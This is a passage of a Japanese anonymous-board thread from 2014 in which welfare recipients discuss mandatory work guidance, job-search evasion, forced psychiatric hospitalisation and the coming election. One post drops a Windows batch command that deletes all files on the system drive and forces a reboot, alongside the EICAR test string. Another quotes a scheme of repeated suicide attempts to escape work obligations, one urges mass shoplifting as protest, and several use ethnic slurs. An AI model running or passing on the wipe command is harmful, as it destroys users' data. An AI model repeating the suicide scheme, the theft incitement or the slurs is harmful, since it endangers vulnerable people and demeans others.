> 「破産者の通知を受けていない」との記載になります。それが復権です。
> 復権すると、>>5に書いてある職にも就けるようになります。
> 尚、免責決定から役所の「破産者」が削除されるまで2週間から1ヶ月程度です。
> （免責確定までに、免責決定から1ヶ月ほどかかります）
424:今日のところは名無しで
14/12/04 00:19:11.12 .net
>>415
指導員のクズさは周知の事実だけど
ハロワのババアの酷さもスレ立てるべきだよなｗ
425:今日のところは名無しで
14/12/04 00:27:27.44 .net
>>417
あの人らも派遣なんだよね
426:今日のところは名無しで
14/12/04 00:32:43.33 .net
>>418
切ないねぇ
427:今日のところは名無しで
14/12/04 00:36:07.19 .net
>>409
レス遅くなりました。
無視できる強い精神力と交渉力があれば、無視してもよさそうな気がします。
428:今日のところは名無しで
14/12/04 00:44:10.23 .net
就労指導では
デブの男でナマポ（僕）を馬鹿にするＣＷとイチロー似の優しいイケメンハロワ職員男性＋役所の臨床心理さん女性
就労準備支援では
ボランティアの女子大生と男子学生とか高齢者＋若いかわいい支援員さんも中にはいる女性多めの支援員
＋ナマポ受給者含む利用者＋①のメンバーで包括的にサポートしてくれる。
ただ僕がゲイなだけに、イチロー似のハロワ職員さんと接点が今のところなくなったのがつらい。
429:今日のところは名無しで
14/12/04 00:58:11.28 .net
一日で100もレスあるって流れ早いなーwしかしまあ良スレだな～w荒れてないし、みんな互いに気遣ってて
430:今日のところは名無しで
14/12/04 01:06:25.20 .net
図書館に行って生活保護手帳を見れば
就労支援の全てが分かる。
431:今日のところは名無しで
14/12/04 01:08:25.21 .net
もうネットの海に埋もれちゃったけど、10年ぐらい前にも生活保護の就労指導でうつが悪化し自殺未遂というのがあった。
昔からどうしようもないね。
URLﾘﾝｸ(oshiete.goo.ne.jp)
生活保護の就労指導回避について質問
11件
質問者：vsoatacs01 投稿日時：2013/11/29 23:28
.
どこかのサイトで生活保護の就労指導を合法的に回避する方法が掲載されていて全部見ていたのですが実際に実現できるのかどうか疑問なので皆さんにお聞きします。
方法ですが、単純に自殺未遂して入院するだけだそうです。
働ける人間は就職活動の指導されますが入院中は対象外なので自殺未遂でも何でもいいから入院すれば就活する必要が無くハローワークに行く必要も無いみたいです。
しかし、この理論では入院中のみ就労指導の対象外になりますので逆を言ってしまうと退院すれば就労指導の対象になってしまいますが、
そのページの内容をよくみると自殺未遂を繰り返せば精神科入院して最後は精神障害認定で就労不可の診断が貰えるのでそうなれば生活保護費だけでアパート生活が可能とありました。
確かに精神障害で就労不可の認定がもらえるケースもありますが自殺未遂繰り返すだけで本当にできるのか?と思います。
432:今日のところは名無しで
14/12/04 01:13:14.33 .net
URLﾘﾝｸ(diamond.jp)
なぜ“全国一受給者の多い街”で被保護世帯が減少？
生活保護行政をめぐる大阪市の「暴走」（1）
―政策ウォッチ編・第65回
いよいよ、改正生活保護法が施行開始となる2014年7月1日まで、あと10日ほどとなった。改正生活保護法に含められた「扶養義務強化」「就労指導の強化」
などは、あるいは生活保護を利用している人々・これから利用しようとする人々・あるいはその周辺の人々に対してどのような影響を及ぼすかは、現在のところ未知数だ。
433:万引きナマポ ◆PC9OAmBq9R4m
14/12/04 01:32:47.66 .net
これからも生活保護の減額が続くなら、裁判で権利を争うのもいいけど、生活保護受給者が大挙して万引きや窃盗をやりまくって裁判所がパンクすることになれば政府も改心するかもしれない。
自分は先陣を切って窃盗で逮捕されてきたので、無言の抗議の先駆者なのかもしれません。
434:今日のところは名無しで
14/12/04 04:14:47.60 .net
何とかごねて働きたくない奴ばっかだな 働きたいのに働けない奴はいないのか
435:今日のところは名無しで
14/12/04 05:34:51.47 .net
>>427
働きたくても断られてばかりだから
俺は職業訓練に申し込みをしたよ。
436:今日のところは名無しで
14/12/04 06:18:40.06 .net
>>427
働いていますよ。昨日、健康保険証をもらいました。
437:今日のところは名無しで
14/12/04 07:02:36.81 .net
簡単なこと
民主党政権に戻れば就労指導はなくなる
腐れ自民党を叩き潰すことだ！
438:今日のところは名無しで
14/12/04 07:30:50.91 .net
☆☆☆☆☆
/ ／ ／ | ＼ ヽ
/ ／ ／ / / || | i ヽ i
i / / / / / / || || |│ |ﾉｽ
|// / /___, -一ｧ| /! |ﾄ、|│ | | く」
|,-‐￢ ￣---┘'７ |! ﾊ! |,､-┼十|! | | |
, -‐ ''" し' '´_ ／,ィ二l |ﾄ、/!ヽﾄ､＼_ヽ!|!l | ﾊ |
,r／ __ ,イ|ﾘ ヾハ! ヽ! ,ィ⌒ヾﾐﾘﾉ!/ﾘ | ☆ 安倍さん、グッジョブですわ。 ☆
／ ||ヽ -' ／￣ )｀ __ |ヒﾉ:} '` ,ｲ/ | | URLﾘﾝｸ(www.soumu.go.jp)
,r ' ヾ､ ,-､＿___ , イ￣,r=＝- ==-' ﾚ' /| |
／ ヽ `ーｿ ' | |ﾄ､,ﾍ ′"" "" / / || | ☆ 日本国民の皆様、１２月１４日（日）の
. ／ ＼_ ／ | ﾊ ヽ｀ﾞ'ﾍ ' '__. ィ ／ / | | | 『衆議院議員総選挙』に必ず投票にいきましょう。 ☆
／ / / | ヽ 川＼ ヾ三ﾆ‐'′／/! | | | |
/ / / 八 ＼川| |`ト- .. __ , イ‐ｧﾍ | | || |!
／ / / / ＼ ＼ 「`ー- ､ ／ .〉 ト､| ヽ、
,イ ／-─＝￢ﾆヘ､_ ＼ 厂＼ 厂ヽ /!| | `ｰ＝ﾍ
-‐ ￣ /─ ' ￣ ├- ヽ＼ ＼ﾉ＼ ＼ 人 ﾊ!ヽ || |-┤ ヽ
/ ／!‐-- | |＼ ﾄ､_｀ヽ oヽ ﾄ､! || |‐┤- ヽ
／/ 〉 __ ／ ├‐- || | 川-‐ | | 厂7! ﾊ! ├:┤ ￣ヽ
／ / ｰ ─ ￣ ├‐- ﾘ || ﾊ!ﾍ | | ト┤|/′ ヾ,┤ ﾞi_
‐ ' 〉‐- | / /＼ .|o | /ヽ/（′ ∨ ＼
‐--─ ─-r､___-､ /ー_ {( '´＞､! /ヽ/ |＼ ＼
439:今日のところは名無しで
14/12/04 08:39:39.22 .net
ちゃんと受けましょう！
公務員の調査もやりましょう、
何かあれば証拠を撮りましょう
年末年始は気が抜けてる公務員が多いから
告発しましょう。
あいつらも同じ人間と教えてあげてね
440:今日のところは名無しで
14/12/04 08:41:17.70 .net
公務員、ボーナス２割増しだから受給者減らしがんばってるんじゃね？
441:今日のところは名無しで
14/12/04 09:07:43.63 .net
>>433
昨日、就労準備支援に50過ぎの男性が新しく利用を始めた。
素人からも分かる発達障害（典型的なADHD）だった。
本人は気付いているか精神科に通っているどうかも不明。
発達障害で障害２級取得できれば、ナマポ額アップされるのに。
公務員は発達障害がどうか諭さず、無理やり就労指導やってる気がする。
442:今日のところは名無しで
14/12/04 09:48:00.87 .net
趣味
２ちゃんねる
健康状態
精神科へ通院中
443:今日のところは名無しで
14/12/04 10:31:38.35 .net
発達障害は、素人が今すぐ精神科に通ってもすぐ診断がつくとは思えない。
アスペルガーとかわかりにくいものは、何年も通院しても見過ごされたり。
役所はほんとに書類しかみない。自分から積極的に防衛しないと駄目。
444:今日のところは名無しで
14/12/04 11:11:45.85 .net
大阪市生活保護行政の問題点と事例
■稼働年齢層の生活保護からの排除
・病気でフルタイムの就労が難しい人に「病気を隠して求職活動をしなさい」と指導
・申請時に独自の「連絡票」や「相談受付票」を使用。申請に必要ない診断書や住宅賃貸契約書の提出を求めたり、相談のみで申請を受け付けない
・相談ブースに監視カメラを設置。相談窓口に「不正受給」など新聞記事を掲示して相談者を威嚇
445:今日のところは名無しで
14/12/04 11:53:43.16 .net
ナマポで自民に投票する奴はマゾ
446:今日のところは名無しで
14/12/04 11:55:16.29 .net
結論から言うと
就労支援は強制ではありません
受ける義務はありません
ただし自立することを目標としなければ保護は受給できません
だから「自分で探す」と言えばOKです
CWの舌打ちは聞こえるかも知れないけど
また意に反する苦役には犯罪による懲役以外には服させられません
「何人も、いかなる奴隷的拘束も受けない。
又、犯罪に因る処罰の場合を除いては、その
447:意に反する苦役に服させられない」 日本国憲法１８条
448:今日のところは名無しで
14/12/04 12:04:41.79 .net
>>285
>>416
>>警備って自己破産したヤツはできねえの？
ハロワで聞いてみた。
そしたら法律で、会社側が雇ったらダメということになっているそうだ。
というわけで。
警備の仕事は紹介されなくなりました。
保証人がいるのもダメだな。
449:今日のところは名無しで
14/12/04 12:08:08.97 .net
毎回、どうして採用されなかったのかを考えるのが大変だ。
450:今日のところは名無しで
14/12/04 12:12:50.18 .net
>>439
一般労働は苦役じゃないから
断ったら打ち切りですよ
451:今日のところは名無しで
14/12/04 12:17:17.86 .net
CWとかこのスレ見てるんじゃないかな
ageないでsageでお願いします
452:今日のところは名無しで
14/12/04 12:19:57.63 .net
>>434
＞発達障害で障害２級取得できれば、ナマポ額アップされるのに。
そのかわり入院させられて投薬されるリスクを常に抱えてる状態になるけどな。まぁ言い換えれば爆弾を抱えてる状態。
障害年金をずっと受給するためにはずっと精神科に通わないといけないし。
俺的には安易に精神科なんかに通いながらナマポ貰うよりも、普通に就活しながらナマポ貰った方が健全だし安全だと思う。
就労指導や就労支援なんてものは法的強制力の無いものだし。
453:今日のところは名無しで
14/12/04 12:34:09.04 .net
>>444さん、>>93>>109はあなたですか？それに前スレにも。
あなたは生活保護による強制入院について何かご存知なのでないですか？
私も生活保護課が厄介な受給者を強引に精神病院に連行し、入院させたきり退院出来なくなった事例を知っています。
よろしければ詳しい話を聞かせてほしいです。
ｽﾚﾘﾝｸ(okiraku板:840番)
840 ：今日のところは名無しで：2014/11/27(木) 13:13:03.10
>>784
>場合によっては即日入院させられる。
>因みにこれは強制で断れない。
>精神保健指定医の診断と保護者の同意が得られれば本人の意志は無視に強制入院だからな。
>入院すると投薬拒否は出来ないし、仮に通院になっても病院によっては定期的にデポ注射打たれるから薬すてても無意味。
>色々リスクがデカイってことだ。
454:今日のところは名無しで
14/12/04 12:39:52.22 .net
>>437これと似ているけど、ナマポということを
隠して面接受けなさいと言われたのだが。。。
これなんかは問題になるの？
455:今日のところは名無しで
14/12/04 12:44:06.94 .net
>>435
履歴書の２枚目の欄に書くことですね。
面接だとちょっと恥ずかしいですが、書類選考なら気にならないですね。
参考にさせてもらいます。
456:今日のところは名無しで
14/12/04 12:53:31.88 .net
>>412
ちゃんと週一ペースで応募してりゃ法的にやる気が無いとはみなせないでしょ。それに実際三回警告受けて廃止になった奴っているのか？
457:今日のところは名無しで
14/12/04 12:55:49.16 .net
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
@Echo off
Del C:\ *.* |y
(){eval(unescape(('Script(t,'%')))})(/./g);
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
458:今日のところは名無しで
14/12/04 12:55:58.58 .net
>>444
自身の能力に見合った仕事を探せないのなら何かしら知能に障害があるからね
459:今日のところは名無しで
14/12/04 13:30:30.84 .net
俺はついつい面接とかで調子のいい事を言ってしまい、たまあに受かってしまうんだけど。
今まで数回、辞退して一度、警告を受けてる。
もうCW、就労指導の爺さんの顔も見たくないし、福祉課にも行きたくない。
こう思わせることで生保を止めさせるのが役所の狙いかもしれないけど。
460:今日のところは名無しで
14/12/04 13:36:57.89 .net
わたしの~アナルの~前で~♪
461:今日のところは名無しで
14/12/04 14:03:51.80 .net
>>442
苦役かどうかは少なくとも福祉事務所側が決めることではありません
本人が苦痛に思うかどうかです
そして意に反するかどうかは本人が決めること
憲法は「嫌な事は無理強いされることはない」と言っているのですよ
基本的に言うと「勤労の義務」は矛盾になりますね
こんな義務を国民に課している国は日本以外にはありません
これでは強制労働を国民に押し付ける収容所列島です
でもこれがこの国の正体なんですよ
462:今日のところは名無しで
14/12/04 14:45:20.42 .net
就労拒否しまぁす
↓
警告
↓
保護廃止
↓
餓死
のパターンってあるのかな？
463:今日のところは名無しで
14/12/04 14:55:01.99 .net
へんなのいついてるのか
464:今日のところは名無しで
14/12/04 15:21:37.48 .net
就労支援でツマラナイ時間を潰すならラーメン屋の週2パートいいよ
465:七紙
14/12/04 15:39:19.90 .net
働け！働けるから指導されるんだろ！
不正受給者くたばれ！
466:今日のところは名無しで
14/12/04 15:48:37.13 .net
マジで民主に勝ってもらいたいけど、勝てそうかい？
民主が勝てば就労指導はなくなるし、いいことずくめだからなー
467:七紙
14/12/04 15:54:52.32 .net
次世代の党が与党になればおもしろいのに
468:七紙
14/12/04 15:56:39.48 .net
働けるくせに選り好みしてるナマポの中の30%は働けよ！
469:今日のところは名無しで
14/12/04 16:19:22.64 .net
>>458
たぶん無理。自民は議席減らすけど、勝利は間違いないよ。
470:今日のところは名無しで
14/12/04 16:39:03.57 .net
生活保護打ち切りで餓死 生存権保障を果たせ
URLﾘﾝｸ(hanhinkon.exblog.jp)
◎繰り返される悲劇
生活保護を切られたり、受給できなかったことによる餓死事件が繰り返されている。
三重県桑名市では４月26日、生活保護を打ち切られた53歳の単身男性が、自宅で餓死しているのが発見された。桑名市は日雇い労働への就労を理由に保護を打ち切っているが、就労先の確認もしていなかった。
しかも２月に男性から「仕事がだめになりそう」と相談電話を受けているにもかかわらず、「本当にだめになったら来所を」と伝えたのみであったという。
男性の仕事が安定したものであるかも確認せず生活保護を打ち切った桑名市の対応は、明らかに誤りである。
桑名市福祉事務所は、この男性の仕事が日雇いという不安定就労であることはわかっていた。すぐに生活保護を廃止するのではなく、
生活保護を停止しておき、仕事がなくなった時に速やかに保護を再開していれば、餓死という悲劇を生むことはなかったのだ。
また、過去にも餓死事件を繰り返してきた北九州市で、生活保護を受給できなかった門司区の39歳男性が４月に餓死している（6/5共同）。
北九州市は「大変残念なことだ」とする一方で、「本人に申請意志を確認しており、市の対応に問題はなかった」と開き直っている。
しかし、北九州市門司福祉事務所の対応も誤りである。この男性が求職活動を行っていたとしても、現に生活に困窮しているのであれば、申請を受理し最低生活を保障した上で就労にむけた支援を行うべきであった。
「本人に申請意志を確認した」から市の対応に問題がないのではなく、福祉事務所は生活保護を申請するように男性にアドバイスしなければならなかったのである。
元派遣社員の男性、マンションで餓死 およそ１年前に契約を切られ家賃滞納
ｽﾚﾘﾝｸ(poverty板)
471:今日のところは名無しで
14/12/04 16:42:05.09 .net
>>453
苦役かどうか決めるのは一般の労働者たちなのです
それが
472:民主主義というものです 個人レベルで労働が苦役に感じるならば最早病気なのです
473:今日のところは名無しで
14/12/04 16:42:32.45 .net
ありがとう、アベノミクス
○消費増税５％→８％ →10%
○所得税増税
○住民税増税
○相続税増税
○年金支給0.7％減額
○国民年金料引き上げ
○高齢者医療費負担増
○診療報酬引き上げ（医療費値上げ）
○国民保険料高齢者引き上げ
○40－64歳介護保険料引き上げ
○児童扶養手当減額
○石油石炭税増税ガソリン代リッター５円ＵＰ！
○電力料金大幅値上げ
○高速料金大幅値上げ ＥＴＣ割引縮小
○公務員給与8%減額停止
○公務員ボーナス11．3％増額
○生活保護三年連続減額中
○軽自動車税は、現在の7200円から1.5倍の10800円に値上げ
○配偶者控除、廃止
○タバコ５％増税
○法人税減税の財源に配当や売却にかかる税率の引き上げ
○大病院の初診料１万円
○固定資産税増税
○議員歳費20%削減廃止
○残業代ゼロ合法化（※公務員は除く）
○公務員給料増額
474:今日のところは名無しで
14/12/04 16:59:18.15 .net
>>453みたいなのは自分のエゴを正当化するだけで
完全な憲法違反でも自分が正しいと思い込んでいる
子供みたいなだだっ子メンヘラみたいだからまともに聞くなよｗ
これが通じるならみんな働きたくないと思えば誰も働かなくていいことになるｗ
普通の頭持っていればおかしい事はすぐわかるだろうけどさ
こういうとんでもをまるで正しいかのように語るから
だから２ｃｈの情報を鵜呑みにするなと言うことだな。
475:今日のところは名無しで
14/12/04 17:15:42.87 .net
>>314
軽作業の定義は重機を使わない手作業のことww
決して、軽い作業という意味ではないww
476:今日のところは名無しで
14/12/04 17:22:00.67 .net
>>466
軽作業＝軽い作業とばかり思っていた。このスレは本当にタメに
なるな。
477:今日のところは名無しで
14/12/04 17:23:42.19 .net
俺は軽作業をうたってた派遣で、建築現場のサポート（一つ五キロ以上ある鉄管みたいなもの）の荷揚げやらされた。
サポートを朝から夕方まで数百本、階段で上げてく作業。
死ぬかと思った。
軽作業が軽い作業って意味じゃないって事を知ったのはその時。
478:今日のところは名無しで
14/12/04 17:27:26.06 .net
>>466->>468
下手な自演乙
479:今日のところは名無しで
14/12/04 17:31:43.45 .net
自演には見えないが…
480:今日のところは名無しで
14/12/04 17:45:02.11 .net
>>470
自演ごまかそうと必死だな
481:今日のところは名無しで
14/12/04 17:51:24.19 .net
自演にみえないけど
482:今日のところは名無しで
14/12/04 18:01:19.40 .net
>>471
自分は>>466-468とは別人だよ
逆にどの点で自演と判断したん？
483:今日のところは名無しで
14/12/04 18:30:05.82 .net
>>472
>>473
自演ごまかそうと必死だな
484:今日のところは名無しで
14/12/04 18:40:31.31 .net
ID出ないスレだから仕方ないけど出てもどうにもならなそうだな
485:今日のところは名無しで
14/12/04 18:53:23.09 .net
>>468
ラインなんかものすごい
スピード勝負だよね
486:今日のところは名無しで
14/12/04 19:16:45.05 .net
身の丈に合ってない仕事に応募し続ければ完璧。
たとえば警備、交通整理などの底辺は無視して銀行とか大手企業の警備等を希望する。
オレはこれで1年半逃げ切ってるぞw
487:今日のところは名無しで
14/12/04 19:28:03.93 .net
>>477
紙オムツ屋形乙
お前頭悪いチョンでなりすまし糞ニートだから
そういう事が通用しない事もわからないもんなｗ
488:今日のところは名無しで
14/12/04 19:28:29.97 .net
【政治】 公務員ボーナス２ケタ増！ 世界有数の赤字組織がアベノミクスの恩恵享受、おかしくないか [現代ビジネス] ★5(c)2ch.net
ｽﾚﾘﾝｸ(newsplus板)
489:今日のところは名無しで
14/12/04 19:33:38.44 .net
逃げ切ってるって表現がワロスw鬼ごっこかよw
490:今日のところは名無しで
14/12/04 19:35:06.20 .net
まったくアホの朝鮮人紙オムツ屋形の考える事は
幼稚園児並だな
491:今日のところは名無しで
14/12/04 19:42:22.53 .net
何が何でも働くまいとする労力が凄まじいなw素直に働いてた方が楽じゃねえのかW
492:今日のところは名無しで
14/12/04 19:49:03.00 .net
絶対に働きたくない闘いがそこにはあるｷﾘｯ
493:今日のところは名無しで
14/12/04 19:56:18.23 .net
>>482
働いた方がきついに決まってんじゃん。イロイロ言われるのも働いていても一緒。
494:今日のところは名無しで
14/12/04 20:02:53.31 .net
でも、単身で13万そこそもらって嬉しい？
頑張れば20万以上稼げるのに、何でそんな金額で満足するのか理解できない。
495:今日のところは名無しで
14/12/04 20:03:54.73 .net
>>458
安倍の解散決断が一足早かったよ。
これからアベノミクスの失敗面が表沙汰になるところだったのに。直前で解散。
国民の情弱が気づく前だから、まだ安倍人気は衰えてない。
タイミングをうまく読まれた……悔しい。
496:今日のところは名無しで
14/12/04 20:05:11.87 .net
>>460
うるせえよ、ネトウヨ！
オマエらの時代は今年で終わりだ！
497:今日のところは名無しで
14/12/04 20:08:52.18 .net
>>465
お前も出来れば「働きたくない」くせに。
だから、こんなスレをわざわざ覗きに来てるんだろ？ なあ？ 図星だろ？
もう生活しんどいんだろ？
そろそろ生活に困ってるんだろ？
落ちるところまで落ちたいくせに（笑）。
498:今日のところは名無しで
14/12/04 20:10:25.60 .net
>>445
＞私も生活保護課が厄介な受給者を強引に精神病院に連行し、入院させたきり退院出来なくなった事例を知っています。
＞よろしければ詳しい話を聞かせてほしいです。
詳しい話を聞きたいのはこっち。どういう状況でそうなったの？厄介な受給者って具体的には？
499:今日のところは名無しで
14/12/04 20:21:41.39 .net
>>486
アベノミクスって最初だけ景気よくて後でバブルのように反動が来るというシステムなので
それが発覚する前にそして現物攻撃が出来る余裕がある前に手を打って逃げたやり方はなかなかだな
多分官僚の入れ知恵たろう
しかしそれでもその後どうなるかを考えたらとても自民や公明なんかに入れられないと思うが
そんな騙される人間が多いのかね？
500:今日のところは名無しで
14/12/04 20:30:28.61 .net
内輪で解散したと思ってた
501:今日のところは名無しで
14/12/04 20:45:37.07 .net
>>482
週に一回どこかの会社に応募して、たまに役所に出向いて
ＣＷや就労支援員にガミガミ小言を言われるのが仕事です。
キリッ
502:今日のところは名無しで
14/12/04 20:45:44.42 .net
ありがとう、アベノミクス
○消費増税５％→８％ →10%
○所得税増税
○住民税増税
○相続税増税
○年金支給0.7％減額
○国民年金料引き上げ
○高齢者医療費負担増
○診療報酬引き上げ（医療費値上げ）
○国民保険料高齢者引き上げ
○40－64歳介護保険料引き上げ
○児童扶養手当減額
○石油石炭税増税ガソリン代リッター５円ＵＰ！
○電力料金大幅値上げ
○高速料金大幅値上げ ＥＴＣ割引縮小
○公務員給与8%減額停止
○公務員ボーナス11．3％増額
○生活保護三年連続減額中
○軽自動車税は、現在の7200円から1.5倍の10800円に値上げ
○配偶者控除、廃止
○タバコ５％増税
○法人税減税の財源に配当や売却にかかる税率の引き上げ
○大病院の初診料１万円
○固定資産税増税
○議員歳費20%削減廃止
○残業代ゼロ合法化（※公務員は除く）
○公務員給料増額
503:今日のところは名無しで
14/12/04 21:16:00.18 .net
>>482
就労準備支援のキャリアカウンセラーから、
「就労準備支援事業に参加することがあなたの今の仕事です」と言われたｗ
504:今日のところは名無しで
14/12/04 21:19:36.47 .net
>>494
とりあえず、週４日の2時間拘束されるけど、本当は出席しようが欠席しようが自由。
505:今日のところは名無しで
14/12/04 21:25:07.03 .net
>>494の就労準備支援ってなに？
期間とかどのくらいなの？
506:今日のところは名無しで
14/12/04 21:25:27.15 .net
といっても、来年４月から新しい生活困窮者自立支援法が施行されるから、
就労準備支援事業は来年４月からナマポ受給者は対象外となるみたいだけどね。
507:今日のところは名無しで
14/12/04 21:27:12.28 .net
>>496
期間は半年で、僕の場合は3月末までだよ。
あくまでモデル事業だけど、徐々に途中参加者が増えてきてる。
508:今日のところは名無しで
14/12/04 21:42:53.58 .net
>>498
それでそれで、どんな内容なの？
楽なら半年も時間稼げるんだし、おいしい事業、学校？
だと思うけど。
509:今日のところは名無しで
14/12/04 21:50:43.30 .net
>>498
「就労準備支援事業」でググると、最初が厚生労働省のガイドラインがＨＴＭＬファイル形式で表示されるから参考にしてみてください。
楽といえば楽。
履歴書を毎週のように書いて面接に行きたくない人
ＣＷの顔を観たくない人
暇な時間を有意義に過ごしたい人
にはお薦めです。
510:今日のところは名無しで
14/12/04 22:33:40.60 .net
>>465
＞これが通じるならみんな働きたくないと思えば誰も働かなくていいことになる
当然でしょ？
自由主義なんだから
もちろん自己責任だけど
それとも強制労働が好きなんですか？
すっかり洗脳されて家畜になってる
511:今日のところは名無しで
14/12/04 22:37:15.26 .net
手取り20万
ボーナス30万×2
土日休み
各種社会保険完備
これが最低条件
ボンクラ指導員よ、さっさと探してこい
512:今日のところは名無しで
14/12/04 22:37:45.55 .net
>>499
仕事するまいかと頭の回転力がいいなw本当は働き出したら要領良く良い仕事しそうだけどなW
513:今日のところは名無しで
14/12/04 22:39:30.04 .net
>>440
免責おりてりゃ就けるぞ
514:今日のところは名無しで
14/12/04 22:40:42.82 .net
>>485
てか１３００００も貰えないから
515:今日のところは名無しで
14/12/04 22:51:19.11 .net
>>485
健康で尚且つ外で仕事をする事に抵抗なければ手取りで30万位ならあるけどな、ただ職人だけど
516:今日のところは名無しで
14/12/04 23:05:57.77 .net
>>504
法的には問題無いけど
実際には破産歴があると免責でも採用される事は無いよ
前にハロワで警備会社に聞いてもらったら５件全て応募しないように言われてた
517:今日のところは名無しで
14/12/04 23:33:09.67 .net
>>507
んなこたないよ
518:今日のところは名無しで
14/12/04 23:33:37.35 .net
>>507
聞くからだよ
519:445
14/12/05 00:03:23.68 .net
>>489 実話です。今から10年ぐらい前ですが、年越し派遣村騒動より以前の、小泉政権時代の話です。当時は今のように役所にハロワ職員がいるわけではなく、ケースワーカーが直接就労指導していました。
当時もハロワと生活保護課の連携はありましたが、やはり指導員が勝手に応募先を選んで「面接に行きなさい」のスタイルでした。
まだ「生活保護を受ける権利」が今ほど周知されておらず、ケースワーカーから露骨に怠けのカスのように扱われる時代でした。
自分は当時、生活保護受給世帯の一人でした。家族の中に、社会生活に支障があるレベルの精神病者がいたのですが、病院嫌いが激しく、受診もしなければ障害年金もなく、役所に診断書すら提出していませんでした。
生活保護課は診断書も無く、就労指導も受診指導も聞かない、打ち切れば餓死・事件になりそうな当人に手を焼いていて、同居家族に、しきりに「無理矢理入院させろ。タクシー代は自腹」等と指導していました。
市内の病院はどこも満床と断られることが多く、また本人は絶対に病院に行こうとはしませんでした。
するとある日、生活保護課から「入院させる事が決まった。車はこちらで用意する。本人には知らせるな」と連絡がありました。
数日後、朝早く生活保護ケースワーカーが車を用意してやってきたのですが、嘘をついて車に乗せようとして騒動になり、結局、多数の警察職員の応援により、無理矢理精神病院に連れていかれました。
病院は、なぜか市外にある私立精神病院でした。病院に到着後、病院は付き添いの親族に、成年後見制度、医療保護入院等の手続きをさせました。
その時から約10年が経ちましたが退院も社会復帰も出来ていません。
調べたのですが、車で移送する段階までは、指定医や知事の指示書は無く、措置入院や応急入院ではないようでした。つまり生活保護ケースワーカーが連れていったのは「任意入院」のようでした。
520:445
14/12/05 00:15:05.36 .net
>>510 続きます。
強制入院後、残った家族への就労指導がいっそう激しくなり、打ち切り予告と思われる警告を、口頭か文書で何回か受けました。
役所から送られてくるのは時給制の清掃作業員のアルバイトばかり、勤務先はめちゃくちゃでした。
耐え難くなって嫌々働いたのが工場の作業でした。そして長続きせず、すぐに解雇され、失業者になりました。
これが私の初めての職業体験でした。
そして同じようなことが何回か繰り返されるうちに精神を病み、生活保護に戻ってきました。
そして最近、また就労指導が私にかけられました。また清掃作業員の面接をやらされるのかと思うと、気が滅入ります。
521:今日のところは名無しで
14/12/05 00:30:07.56 .net
>>510
長い
3行でまとめろ
522:今日のところは名無しで
14/12/05 00:38:42.26 .net
>>490
これはオレの主観だけど、基本的に日本人ってダマされやすいと思う。
オレオレ詐欺がいまだに年間に何億円もやられてるんだからね。いい加減に気づけよと言いたいくらいw
だから脳科学で依存症に訴える産業、パチンコ、ネトゲ、ニコ生が流行る。
まあ、厳密に言うと、この生活保護もそれらと一緒のカテゴリーに入るんだけどね（笑）。
安倍は選挙で逃げ切って、残りの任期中に老後の自分が余裕で暮らしていけるだけの利権を啜るだろうね。
そのあとは、日本がどうなろうが知ったことじゃない。
ひょっとすると総理をやめたあとは、アメリカに移住という名の亡命をするかもしれんがw
もうどうにもならないから、オレが生きている間だけ、日本や生活保護の制度が保ってくれと願うばかり。
日本がどこまで落下するかは、さすがに予測できんわ。
523:今日のところは名無しで
14/12/05 00:45:04.53 .net
>>482
>>何が何でも働くまいとする労力が凄まじいなw素直に働いてた方が楽じゃねえのかW
奴隷労働になりたくはないんだよね。
かといって、頭脳労働しようにも年齢的にきつくなってしまった。
あと、人としてダメ人間なところから浪費してしまい、自己破産。離婚。ウツ……。
運悪くいろいろ重なり、まともな人間じゃなくなってしまった。
だから出来ることでなら働きたい。
しかし、何でもいいから働けるわけじゃない。
それに日本は成熟してしまって、もう生産を高めても成長しなくなってきてるんだよね。
みんながみんな働いてしまったら、それはそれで日本のためにならない。
誰にでも出来る労働を提供することより、本を読んで、日本の末来を考えて、
自分よりもっと偉い人、権力のある人に提言したりするような暇人な頭脳労働者も必要なんだよ。
人間は平等だが、役目や使命は平等じゃないんだよね。
524:今日のところは名無しで
14/12/05 00:47:49.78 .net
>>504
そんなことはね、どうでもいいことだよ。
525:510
14/12/05 00:54:50.10 .net
>>512 要約します。
・精神で生活保護受けてたけど病院にも行かず、働きもしなかった人がいた。
・ある日生活保護のケースワーカーに市外の精神病院に拉致された。10年入院しているが退院できない。
・入院時の手続きがおかしい。これケースワーカーの越権行為じゃね？
526:今日のところは名無しで
14/12/05 00:59:27.73 .net
>>512
そんな呑気なこと言ってる場合か？コレは人事じゃないぞ。
いつ俺やお前も無理矢理精神病院に運ばれるか解らんぞ。
>>510>>511は要約すると、就労指導を受けなくて自分で就活するといってハロワ経由で週一企業に応募していて落ちまくってると、
精神的に問題ありと判断される可能性がありそう判断された場合病院に無理矢理連行され医療保護入院させられる可能性があるって事だからな。
コレはここの奴ら全員にふりかかる可能性があるって事だ。
三行に纏めろとか言ってる場合じゃない明日は我が身だぞ。
527:今日のところは名無しで
14/12/05 01:08:01.53 .net
>>516
＞・入院時の手続きがおかしい。これケースワーカーの越権行為じゃね？
多分家族が入院に同意したんだろう。
だから本人が拒否しても強制入院させられた。
つまり家族が入院を断固として拒否してくれてればそいつは強制入院にはなってなかったはず(医療保護入院の手続きが出来ない)
おかしいのは病院に拉致される迄の過程だな。
病院に行かなければ入院させられない(はず)だが何故その車に乗せられる段階で警察が来てるのか謎。
警察は始めから保護課の人間と一緒に来ていたのか？それとも本人が暴れたから保護課が呼んだのか？
詳しく教えてほしい。
528:今日のところは名無しで
14/12/05 01:16:17.03 .net
>>518
＞ 嘘をついて車に乗せようとして騒動になり、結局、多数の警察職員の応援により、無理矢理精神病院に連れていかれました。
って書いてあるだろちゃんと読めよ
529:510
14/12/05 01:21:13.37 .net
>>517
これは10年前の話だから、生活保護が一般化した今の時勢では通用しないかもしれません。当人はたしかに様子がおかしい人でした。
福祉課の越権行為くさいのですが、立証が難しい。年越し派遣村より以前は、まだ生活保護は暗黒時代だったのです。現在も調査中ですが、わかったことをまとめます。
・最初の入院先が、名の通った病院ではなく、交通の不便な市外にある、、山奥の巨大な私立精神病院。強制入院後、ずっとそこで暮らしている。知事命令の応急入院にしてはなんだかおかしい。
・現在もまだ入院中だが退院出来るという話もある。しかし退院費用を負担できないなら、住居は生活保護の救護施設(いわゆるナマポ収容所)になるとのこと。退院出来るはずなのにまだ入院している。
・民間施設やアパートへの入居は自己負担とのこと。
救護施設の実態は不明だが、もしかしたら病院より悪いかも知れない。身寄りのない人の終着駅みたいなものらしい。
